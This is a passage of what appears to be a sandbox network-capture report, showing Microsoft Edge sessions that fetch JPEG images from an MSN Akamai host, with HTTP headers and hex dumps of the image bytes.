ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-12 03:16:33 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49865	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:33 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Fri, 01 Nov 2024 14:00:36 GMT X-Source-Length: 176972 X-Datacenter: westus X-ActivityId: 9adf7e08-6b5d-4235-9b20-fc47e97c1b94 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=297903 Expires: Fri, 15 Nov 2024 14:01:35 GMT Date: Tue, 12 Nov 2024 03:16:32 GMT Connection: close
2024-11-12 03:16:33 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac 39 Data Ascii: J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP9
2024-11-12 03:16:33 UTC	2205	IN	Data Raw: 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c f2 Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-12 03:16:33 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-12 03:16:33 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-12 03:16:33 UTC	16288	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49866	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:33 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW Last-Modified: Sat, 26 Oct 2024 02:04:36 GMT X-Source-Length: 76188 X-Datacenter: northeu X-ActivityId: 77e48659-047f-458a-b9dd-8f9e0ce592d7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 76188 Cache-Control: public, max-age=125327 Expires: Wed, 13 Nov 2024 14:05:20 GMT Date: Tue, 12 Nov 2024 03:16:33 GMT Connection: close
2024-11-12 03:16:33 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: e5 b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-12 03:16:33 UTC	3220	IN	Data Raw: 73 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 Data Ascii: s+7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggq
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-12 03:16:33 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: 